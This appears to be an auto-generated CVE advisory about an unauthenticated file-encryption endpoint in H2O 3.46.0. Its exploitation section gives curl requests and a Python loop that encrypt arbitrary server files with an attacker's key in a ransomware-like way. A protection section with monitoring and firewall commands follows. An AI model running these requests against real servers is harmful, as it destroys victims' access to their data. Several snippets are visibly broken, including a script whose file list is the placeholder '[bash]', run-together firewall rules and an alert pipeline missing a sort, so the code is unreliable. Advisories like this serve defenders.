How the CVE Works:
In H2O version 3.46.0, a critical vulnerability exists in the custom EncryptionTool endpoint. This endpoint, designed for file encryption, lacks proper access controls and validation mechanisms. Attackers can exploit this by sending crafted requests to encrypt any file on the server using a key of their choice. Additionally, the key can be overwritten, leading to ransomware-like behavior. This allows attackers to lock files permanently, making decryption nearly impossible without the original key. The absence of proper authentication and authorization checks exacerbates the issue, enabling unauthorized users to exploit this flaw.
DailyCVE Form:
Platform: H2O
Version: 3.46.0
Vulnerability: Arbitrary File Encryption
Severity: Moderate
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Crafting the Exploit:
Attackers can use tools like `curl` or custom scripts to send HTTP POST requests to the vulnerable endpoint.
Example:
curl -X POST http://target-server:port/encrypt -d '{"file":"/path/to/file", "key":"attacker-key"}'
2. Overwriting Keys:
Attackers can overwrite encryption keys by sending repeated requests with new keys, locking files permanently.
Example:
curl -X POST http://target-server:port/encrypt -d '{"file":"/path/to/file", "key":"new-attacker-key"}'
3. Ransomware Simulation:
Attackers can automate file encryption across multiple files, simulating ransomware attacks.
Example Python Script:
import requests
target_files = [bash]
for file in target_files:
requests.post("http://target-server:port/encrypt", json={"file": file, "key": "attacker-key"})
Protection:
1. Patch Application:
Upgrade to the latest version of H2O where this vulnerability is patched.
2. Access Control:
Implement strict authentication and authorization mechanisms for the EncryptionTool endpoint.
3. Input Validation:
Validate and sanitize all user inputs to prevent malicious payloads.
Example:
if not valid_key(user_key):
raise ValueError("Invalid key provided")
4. Monitoring:
Monitor server logs for unusual encryption requests.
Example Command:
grep "POST /encrypt" /var/log/h2o/access.log
5. Backup Strategy:
Maintain regular backups of critical files to mitigate ransomware impact.
6. Network Segmentation:
Restrict access to the EncryptionTool endpoint to trusted IPs only.
Example Firewall Rule:
iptables -A INPUT -p tcp --dport <port> -s trusted-ip -j ACCEPT iptables -A INPUT -p tcp --dport <port> -j DROP
7. Key Management:
Use secure key management systems to prevent key overwriting.
8. Logging and Alerts:
Set up alerts for multiple encryption requests from a single IP.
Example Command:
tail -f /var/log/h2o/access.log | grep "POST /encrypt" | awk '{print $1}' | uniq -c | grep -v "1 "
By following these steps, organizations can mitigate the risks associated with this vulnerability and protect their systems from exploitation.
References:
Reported By: https://github.com/advisories/GHSA-m37h-8r48-2cxj
Extra Source Hub:
Undercode
